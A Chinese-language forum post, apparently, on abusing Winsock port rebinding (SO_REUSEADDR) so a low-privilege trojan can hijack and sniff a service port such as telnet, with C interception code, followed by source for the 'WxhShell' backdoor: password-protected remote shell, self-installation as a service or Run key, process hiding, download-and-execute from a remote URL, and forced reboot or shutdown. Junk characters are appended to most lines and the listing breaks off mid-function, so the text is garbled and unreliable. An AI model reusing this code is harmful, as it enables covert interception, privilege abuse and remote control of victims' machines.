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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: s!nFc{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ig"Krz  
knh^q;q*  
  saddr.sin_family = AF_INET; zOLt)2-<  
50rCW)[#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); J [2;&-@  
/8q7pwV  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); i'L7t!f}o  
}z,4IHNn  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Wgq*|teW  
`;(/W h  
  这意味着什么?意味着可以进行如下的攻击: TA`*]*O(  
RA+Y./*h  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hnvn&{|  
xHJ+!   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) wQ2'%T|t  
\$VtwVQ,b  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .',ikez  
PP[{ c  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Zr;.`(>  
Q6MDhv,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5A7!Xd  
:QUZ7^u  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 gpHI)1i'H  
"2'nLQ""q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 W2%(a0p  
A8e b{qv  
  #include  n1y#gC  
  #include S%Pk@n`z]  
  #include dB<BEe\$g.  
  #include    qO Zc}J0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   m3F.-KPO  
  int main() q}ZZqYk  
  { k:m~'r8z  
  WORD wVersionRequested; >f'n l  
  DWORD ret; q_OIzZ@  
  WSADATA wsaData; ? 4qN>uW=  
  BOOL val; %ghQ#dZ]&  
  SOCKADDR_IN saddr; =H>rX 2k  
  SOCKADDR_IN scaddr; x@v,qF$K  
  int err; yeE_1C .  
  SOCKET s; }!Qo wG   
  SOCKET sc; :n0(gB  
  int caddsize; 7#MBT-ih  
  HANDLE mt; a}M7"v9  
  DWORD tid;   9s73mu`Twg  
  wVersionRequested = MAKEWORD( 2, 2 ); Z)P x6\?+  
  err = WSAStartup( wVersionRequested, &wsaData ); '[qG ,^f  
  if ( err != 0 ) { xb8fV*RO8A  
  printf("error!WSAStartup failed!\n"); |]+m<Dpyr2  
  return -1; T"kaOy  
  } mgG0uV  
  saddr.sin_family = AF_INET; Z:O24{ro5  
   wE%v[q[*X  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 B(Y{  
?tqTG2!(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); H$(%FWzQ%  
  saddr.sin_port = htons(23); nLto=tNUO  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 87~. |nu  
  { C.8]~MP  
  printf("error!socket failed!\n"); >bz}IcZP  
  return -1; FxM`$n~K  
  } X]C-y,r[M  
  val = TRUE; `9a%}PVQ-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _m3PAD4  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) o6xl,T%  
  { yHr/i) c  
  printf("error!setsockopt failed!\n"); Ln[R}qD  
  return -1; ?h1]s&^| 2  
  } swi|   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; A[htG\A` 0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %pL ,A5M  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ll[U-v{  
+c}fDrr)  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {-Yp~HQF  
  { )w;XicT  
  ret=GetLastError(); 'V 1QuSd  
  printf("error!bind failed!\n"); kSB)}q6a  
  return -1; eoTOccb!  
  } D'Byl,W$   
  listen(s,2); 9WtTUk  
  while(1) CWCE}WU>4  
  { p*#SSR9<  
  caddsize = sizeof(scaddr); =]-!  
  //接受连接请求 > ^n'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~}8 3\LI}  
  if(sc!=INVALID_SOCKET) dlJkxEh 2  
  { (V{bfDu&h@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Xw9,O8}C7  
  if(mt==NULL) A){kitx-i)  
  { &Vnet7LfU  
  printf("Thread Creat Failed!\n"); V)!Oss;i  
  break; |=jgrm1yj  
  } ,o*b-Cv/  
  } 7lR(6ka&/  
  CloseHandle(mt); EJdq"6S  
  } oo- ^BG  
  closesocket(s); +;FF0_   
  WSACleanup(); dL6sb;7R  
  return 0; U NQup;#h  
  }   6tzZ j:y q  
  DWORD WINAPI ClientThread(LPVOID lpParam) 5!tmG- 'b  
  { s![=F}ck  
  SOCKET ss = (SOCKET)lpParam; CEqfsKrsxE  
  SOCKET sc; OEdp:dW|  
  unsigned char buf[4096]; z7HC6{g%X  
  SOCKADDR_IN saddr; 2=F_<Jh|+  
  long num; Yk?ux Z4)H  
  DWORD val; rAP+nh ans  
  DWORD ret; 8V=I[UF.1?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 P,I3E?! j  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Q`r1pO  
  saddr.sin_family = AF_INET; eA{,=, v)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^4 es  
  saddr.sin_port = htons(23); 3i35F.=X,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z)QyQ  
  { ?G!^ |^S*  
  printf("error!socket failed!\n"); z0g$+bhy  
  return -1; GbB&kE3KP  
  } "]zq<LmX  
  val = 100; ,!sAr;Rk`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b*P \a  
  { &(Xp_3PO  
  ret = GetLastError(); szmjp{g0  
  return -1; kIXLB!L2b^  
  } 4XX21<yn  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R8":1 #&  
  { :*}tkr4&eh  
  ret = GetLastError(); rp(`V@x3  
  return -1; F\,3z7s  
  } <@;eN&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $JX_e  
  { eYsO%y\I  
  printf("error!socket connect failed!\n"); :Tj,;0#/  
  closesocket(sc); \ZCc~muR  
  closesocket(ss); 8&`s wu&  
  return -1; DrMcE31  
  } \%^<Ll  
  while(1) J fsCkS  
  { Kpj0IfC,10  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Z)6bqU<LQE  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录   ;h  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &y Vii^  
  num = recv(ss,buf,4096,0); "8{u_+_B*  
  if(num>0) iW)FjDTP  
  send(sc,buf,num,0); ?*}V>h 8m)  
  else if(num==0) F\Tlpp9  
  break; ly, d =  
  num = recv(sc,buf,4096,0); puMpUY  
  if(num>0) <7^_M*F9  
  send(ss,buf,num,0); WdIr 3  
  else if(num==0)  $7|0{Dw  
  break; >@ge[MuS  
  } LX*T<|c`'  
  closesocket(ss); ,`-6!|:  
  closesocket(sc); &a48DCZ  
  return 0 ; if^\Gs$  
  } B;7L:  
#kma)_X  
_Vp9Y:mX2  
========================================================== ~>#=$#V   
M{hA`  
下边附上一个代码,,WXhSHELL _3kAN .g  
J*$ !^\s  
========================================================== |%b'L.$4  
Vf O0 z5&  
#include "stdafx.h" 5UjXpS  
{?eD7xL:-  
#include <stdio.h> @0Tm>s  
#include <string.h> =BNmuAY7  
#include <windows.h> J#'c+\B<2X  
#include <winsock2.h> 2b3x|9o8  
#include <winsvc.h> W)j/[  
#include <urlmon.h> =`.9V<  
ihs@ 'jh  
#pragma comment (lib, "Ws2_32.lib") `[CXxp  
#pragma comment (lib, "urlmon.lib") H-0deJ[>  
>&Bg F*mm  
#define MAX_USER   100 // 最大客户端连接数 8 I,(\<Xv  
#define BUF_SOCK   200 // sock buffer =p^*y-z  
#define KEY_BUFF   255 // 输入 buffer MhJq~G p  
5?6 ATP:[  
#define REBOOT     0   // 重启 VYlg+MlT0  
#define SHUTDOWN   1   // 关机 [(UQQa=+  
d4A}BTs1  
#define DEF_PORT   5000 // 监听端口 %~$4[,=  
( 3=.3[  
#define REG_LEN     16   // 注册表键长度 +O9l@X$l=  
#define SVC_LEN     80   // NT服务名长度 /C3=-Hp  
"T#c#?  
// 从dll定义API ?Tb'J`MO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pE15[fJ`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `^|mNh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ou96 P<B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 24|:VxO  
(Z6[a{}1i  
// wxhshell配置信息 1AA(qE  
struct WSCFG { WET $H,  
  int ws_port;         // 监听端口 F'|,(P  
  char ws_passstr[REG_LEN]; // 口令 x"_f$,:!  
  int ws_autoins;       // 安装标记, 1=yes 0=no \h _hd%'G  
  char ws_regname[REG_LEN]; // 注册表键名 | ql!@M(p  
  char ws_svcname[REG_LEN]; // 服务名 YQe @C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 P),%S9jP;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H+_oK ]/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zB 7wGl9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "ve?7&G7U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rPr#V1}1a  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 28Q`O$=v  
H${Ym BG  
}; 0#<_:E  
( |O;Ci  
// default Wxhshell configuration x{Gih 1  
struct WSCFG wscfg={DEF_PORT, K\n %&w  
    "xuhuanlingzhe", nLT]'B]$ +  
    1, -YS n 3=  
    "Wxhshell", |!IJ/ivEgw  
    "Wxhshell", XwlUkw "q  
            "WxhShell Service", o)1wF X  
    "Wrsky Windows CmdShell Service", Fd|:7NRA<  
    "Please Input Your Password: ", F KL}6W:  
  1, )?Jj#HtW  
  "http://www.wrsky.com/wxhshell.exe", F~RUb&*/<  
  "Wxhshell.exe" ho^1T3  
    }; a ,W5T8  
0Dh a1[=  
// 消息定义模块 MV=.(Zs  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x40R)Led  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /Tv< l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,{zvGZ|  
char *msg_ws_ext="\n\rExit."; )Tb{O  
char *msg_ws_end="\n\rQuit."; rKi)VVkx_  
char *msg_ws_boot="\n\rReboot..."; i.K}(bo;b  
char *msg_ws_poff="\n\rShutdown..."; UP,0`fh(y  
char *msg_ws_down="\n\rSave to "; i_gS!1Z2  
S5bk<8aPP  
char *msg_ws_err="\n\rErr!"; W,wg@2  
char *msg_ws_ok="\n\rOK!"; KJ'MK~g  
:5@7z9 >  
char ExeFile[MAX_PATH]; ?]5wX2G^|J  
int nUser = 0; x-%nnC6e  
HANDLE handles[MAX_USER]; |vEfE{  
int OsIsNt; }8x[  
N}Q,  
SERVICE_STATUS       serviceStatus; Or6'5e?N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5{cAawU.  
_L# Tp  
// 函数声明 gdkO|x  
int Install(void); Q^0K8>G^  
int Uninstall(void); D:.^]o[  
int DownloadFile(char *sURL, SOCKET wsh); qD`')=  
int Boot(int flag); dcXtT3,kpX  
void HideProc(void); 6 t A?<S  
int GetOsVer(void); p8F|]6Z  
int Wxhshell(SOCKET wsl); BB>7%~3f  
void TalkWithClient(void *cs); _VY]  
int CmdShell(SOCKET sock); X}p4yR7'  
int StartFromService(void); P#Eqe O  
int StartWxhshell(LPSTR lpCmdLine); uiiA)j*!  
u6B (f;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); oD"fRBS+$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <u^41  
b<:s{f"t,  
// 数据结构和表定义 !$_mWz  
SERVICE_TABLE_ENTRY DispatchTable[] = NWoZDsu  
{ .cu5h   
{wscfg.ws_svcname, NTServiceMain}, zb;2xTH+  
{NULL, NULL} $xloB  
}; /~AwX8X  
<GoE2a4Va  
// 自我安装 q*'hSt@+D  
int Install(void) :mg#&MZj<  
{ LO` (V  
  char svExeFile[MAX_PATH]; Z;%qpsq  
  HKEY key; Ex@#!fz{%  
  strcpy(svExeFile,ExeFile); d628@~ Ekn  
co~TQpy^  
// 如果是win9x系统,修改注册表设为自启动 ,t)mCgbcO  
if(!OsIsNt) { *b.>pY?2|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2;kab^iv'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :uI}"Bp  
  RegCloseKey(key); I7[+:?2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yGN<.IP75  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $s) ^zm~  
  RegCloseKey(key); xt3IR0  
  return 0; pq4+n'uO  
    } 4vy!'r@   
  } ^ro?.,c T  
} yLY2_p- X  
else { #z5'5|3  
1F$a My?  
// 如果是NT以上系统,安装为系统服务 {8UBxFIM(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $jw!DrE  
if (schSCManager!=0) K zM\+yC  
{ !\!fd(BN  
  SC_HANDLE schService = CreateService 2+Fq'!  
  ( h,\_F#hi  
  schSCManager, ,:,c kul  
  wscfg.ws_svcname, .Q?AzU,2D  
  wscfg.ws_svcdisp, PHz/^p3F  
  SERVICE_ALL_ACCESS, MKQa&Dvw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ls/:/x(5d  
  SERVICE_AUTO_START, g/Qr] :;  
  SERVICE_ERROR_NORMAL, kmP0gT{Sj  
  svExeFile, /,B"H@ J  
  NULL, YjsaTdZ!&  
  NULL, o}NKqA3  
  NULL, !>2s5^JI9  
  NULL, .j;My%)?p  
  NULL (xxJ^u>QC  
  ); ,ciNoP*-~%  
  if (schService!=0) q Rtgk  
  { qdcCX:Z<  
  CloseServiceHandle(schService); x9@%L{*  
  CloseServiceHandle(schSCManager); U2SxRFs >  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7dW9i7Aj  
  strcat(svExeFile,wscfg.ws_svcname); rT"8e*LT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gp$+Qd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^]Gt<_  
  RegCloseKey(key); /n:s9eq  
  return 0; KsHovv-A  
    } ){gOb  
  } Y6g[y\*t  
  CloseServiceHandle(schSCManager); we{*%8I;  
} KiCZEA  
} . vYGJ8(P  
W]rXt,{ &  
return 1; 8U=M.FFp  
} kQ4%J, 7e4  
6!+"7r6  
// 自我卸载 #Dy;x\a  
int Uninstall(void) ko  ~iDT  
{ [q_Yf!(m-  
  HKEY key; _|~2i1 Ms,  
3>?ip;  
if(!OsIsNt) { /i$&89yod  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 17nWrTxR$  
  RegDeleteValue(key,wscfg.ws_regname); mp@JsCU  
  RegCloseKey(key); 'jmcS0f -  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U,g!KN3P  
  RegDeleteValue(key,wscfg.ws_regname); S0"O U0`N  
  RegCloseKey(key); `ORDN|s6  
  return 0; \r<&7x#j  
  } Lw-j#}&6E  
} /&ph-4\i  
} r;S%BFMJS  
else { AKL~F|t  
a}e7Q<cGj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +F 5Dc  
if (schSCManager!=0) m#8KCZS  
{ (-"A5(X:/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d9sgk3K  
  if (schService!=0) ZwG+rTW  
  { ,[~Ydth  
  if(DeleteService(schService)!=0) {  Ya=QN<  
  CloseServiceHandle(schService); o@ ;w!'  
  CloseServiceHandle(schSCManager); 0aGfz=V&  
  return 0; a9D 5qj  
  } =XoNk1  
  CloseServiceHandle(schService); @#o$~'my  
  } #=$4U!yL  
  CloseServiceHandle(schSCManager); *~fN^{B'!  
} i*2z7MY  
} -3KB:K<  
nPv2: x  
return 1; s$Roe(J  
} L.|GC7$0  
Y*"%;e$tg  
// 从指定url下载文件 ((X"D/F]  
int DownloadFile(char *sURL, SOCKET wsh) HWe.|fH:  
{ s  fti[  
  HRESULT hr; _X@:- _  
char seps[]= "/"; 5B98}N  
char *token; Y}|78|q*  
char *file; _I'O4s1S  
char myURL[MAX_PATH]; 8YYY *>  
char myFILE[MAX_PATH]; A+[wH(  
V7^?jy&&  
strcpy(myURL,sURL); *nC<1.JW  
  token=strtok(myURL,seps); r#{lpF,3Ib  
  while(token!=NULL) ] c'owj  
  { [;X YT  
    file=token; 1B WuFYB  
  token=strtok(NULL,seps); z?7s'2w&{  
  } {fX4  
~ 4&_$e!  
GetCurrentDirectory(MAX_PATH,myFILE); +rql7D0st  
strcat(myFILE, "\\"); bH,Jddc  
strcat(myFILE, file); uAJ_`o[  
  send(wsh,myFILE,strlen(myFILE),0); +ckj]yA;  
send(wsh,"...",3,0); $~ `(!pa:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); esLY1c%"/  
  if(hr==S_OK) x K_$^c.  
return 0; {'vvE3iZ  
else |kVxrq  
return 1; tPp }/a%D  
>#8`Zy:/Y  
} rP3)TeG6  
+SP5+"y@  
// 系统电源模块 $[]=6.s  
int Boot(int flag) ivGxtx  
{ N;D+]_;0|  
  HANDLE hToken; 2C-RoZ~  
  TOKEN_PRIVILEGES tkp; LpF6e9V\Wp  
h{TnvI/"  
  if(OsIsNt) { t8^*s<O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1-JWqV(#?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [S9nF  
    tkp.PrivilegeCount = 1; wicg8[T=B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WK<pZ *x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GvVuFS>y  
if(flag==REBOOT) { Dk7"#q@kx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SE/@li  
  return 0; VSSiuo'5w  
} =|G PSRQ  
else { @lBH@HR=C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )c!f J7o:  
  return 0; O0Z'vbFG  
} */S ,CV  
  } &MKv _  
  else { g xLA1]>{  
if(flag==REBOOT) { E*'O))  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t Y^:C[  
  return 0; L Xx 3  
} 'uPqe.#?  
else { $4eogI7N>w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oZzE.Q1T  
  return 0; z#-&MJ  
} 8p!PR^OM@  
} zU}0AVlIL:  
2[:`w),.  
return 1; 2h/` RefHJ  
} PSy=O\  
1o$<pZZ  
// win9x进程隐藏模块 [}VEDx  
void HideProc(void) -MU^%t;-  
{ c8u&ev.U  
DLz~$TF^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uS&bfx2  
  if ( hKernel != NULL ) 1 8&^k|  
  { Q"(i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '8W }|aF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Karyipn}  
    FreeLibrary(hKernel); Cx@,J\rsQ  
  } Ig=4Z*au!g  
SIg=_oa   
return; x JepDCUJ>  
} h?idRaN_  
&yP9vp="  
// 获取操作系统版本 0{jRXa-(  
int GetOsVer(void) kdv>QZ  
{ <7)@Jds\  
  OSVERSIONINFO winfo; ANWa%%\T  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~xA' -N/  
  GetVersionEx(&winfo); 0Uybh.dC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T}g;kppC  
  return 1; BG=h1ybz  
  else Qg4qjX](?  
  return 0; -\r*D#aHBN  
} "Z,'NL>&  
44cyD _(  
// 客户端句柄模块 92S<TAdPP  
int Wxhshell(SOCKET wsl) G<>`O;i  
{ <oO^ w&G  
  SOCKET wsh; }7UE  
  struct sockaddr_in client; ] $Z aS\m  
  DWORD myID; )<!y_;$A  
obY5taOw  
  while(nUser<MAX_USER) K /. ;N.9  
{ @m#7E4 +  
  int nSize=sizeof(client); ^cX);koO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e6,/ i  
  if(wsh==INVALID_SOCKET) return 1; D4[t@*m>7  
MdCEp1Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~%>ke  
if(handles[nUser]==0) mpN|U(n  
  closesocket(wsh); # M%-q8  
else :+Y+5:U]  
  nUser++; ~ /]u72?rP  
  } w {6kU   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pWK7B`t  
1 1O^)_|c  
  return 0; <`n T+c  
} D O#4E<]5  
%^kBcId  
// 关闭 socket ):kDWc  
void CloseIt(SOCKET wsh) 48W$ ,  
{ ~~;J[F p  
closesocket(wsh); Xu2:yf4No*  
nUser--; 7c5+8k3  
ExitThread(0); .\".}4qQ  
} dXg.[|S*  
-Uh3A\#(  
// 客户端请求句柄 :I[nA?d[&  
void TalkWithClient(void *cs) luY#l!mx3  
{ j.= VZ  
W; P8=q  
  SOCKET wsh=(SOCKET)cs; o]u,<bM$  
  char pwd[SVC_LEN]; e5W 8YNA  
  char cmd[KEY_BUFF]; 6F !B;D-Q  
char chr[1]; nc4KeEl  
int i,j; Na=.LW-ma=  
R6v~Sy&n!  
  while (nUser < MAX_USER) { KP,#x$Bg  
1wAD_PI|BH  
if(wscfg.ws_passstr) { # 3UrGom  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /Ps/m!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @{n"/6t  
  //ZeroMemory(pwd,KEY_BUFF); Rr A9@95+  
      i=0; ( y0  
  while(i<SVC_LEN) { wIeF(}VM  
vLCyT=OB`  
  // 设置超时 wGy`0c]v?  
  fd_set FdRead; ?DJ/Yw>>3  
  struct timeval TimeOut; eO%w i.Q  
  FD_ZERO(&FdRead); gV~_m  
  FD_SET(wsh,&FdRead); 6Uh_&?\%  
  TimeOut.tv_sec=8; 5y^I~"_ i  
  TimeOut.tv_usec=0; ~xPU#m<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); BLaF++Fop  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ERTjY%A  
W=G8l%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qL2!\zt>g  
  pwd=chr[0]; T"IDCT'z  
  if(chr[0]==0xd || chr[0]==0xa) { -qyhg-k6  
  pwd=0; ]Xm+-{5?!R  
  break; >uLWfk+y1  
  } #|j8vmfn$e  
  i++; E|_J  
    } LS:^K  
3le$0f:O  
  // 如果是非法用户,关闭 socket V*6o|#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z&wJ"[nOC  
} L$t.$[~L  
]621Z1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dD351!-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PRal>s&f  
YQ|o0>  
while(1) { q:cCk#ra  
:8t;_f  
  ZeroMemory(cmd,KEY_BUFF); #J'V,_ wH  
yz7Fe  
      // 自动支持客户端 telnet标准   A$3ll|%j  
  j=0; tP1znJh>y  
  while(j<KEY_BUFF) { >PYc57S1c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,K15KN.'  
  cmd[j]=chr[0]; Cy\ o{6  
  if(chr[0]==0xa || chr[0]==0xd) { M{t/B-'4  
  cmd[j]=0; =d BK,/  
  break; <:>[24LJ{  
  } zI= 9  
  j++; Df@b;-E  
    } z2iWr  
LFAefl\  
  // 下载文件 KBDNK_7A  
  if(strstr(cmd,"http://")) { Tmk'rOg5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $}EI3a  
  if(DownloadFile(cmd,wsh)) 0DaKd<Scv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q{}U5(,{0  
  else d@? zCFD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ky{@*fg.  
  } iU|X/>k?  
  else { 'soll[J  
ZEB,Q~  
    switch(cmd[0]) { B A i ^t  
  h ^Wm03w  
  // 帮助 YRu/KUT$ 7  
  case '?': { .7HEI;4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Iv{uk$^7S  
    break; nj#kzD[n>  
  } })?KpYk  
  // 安装 q3D,hG_  
  case 'i': { #iT3 aou  
    if(Install()) CpU y~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yq:+.UU  
    else $VeQvm*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L4<=,}KS  
    break; +vYVx<uTQ  
    } ,IPryI   
  // 卸载 ;m"R.Q9*  
  case 'r': { CtHsi8m  
    if(Uninstall()) D.YT u$T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t?FPmbj v  
    else Bam 4%G5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W"g@*B'|  
    break; 8Ib5  
    } : n\D  
  // 显示 wxhshell 所在路径 V0*9Tnc  
  case 'p': { [?n}?0  
    char svExeFile[MAX_PATH]; nC\LDeKc  
    strcpy(svExeFile,"\n\r"); K>Tv M&  
      strcat(svExeFile,ExeFile); -V52?Hq  
        send(wsh,svExeFile,strlen(svExeFile),0); 4x$Ts %]  
    break; 0T:ZWRjH  
    } 51puR8AG>  
  // 重启 `3vt.b  
  case 'b': { /&RS+By(i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^oZD44$  
    if(Boot(REBOOT)) $B@K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ys9MV%*  
    else { 'In qa;TQz  
    closesocket(wsh); ]ChN]>o  
    ExitThread(0); k^\>=JTq=  
    } =)2!qoE  
    break; )%9 P ;/  
    } XD|vB+j\O  
  // 关机 J,^eq@(  
  case 'd': { ?)XPY<  
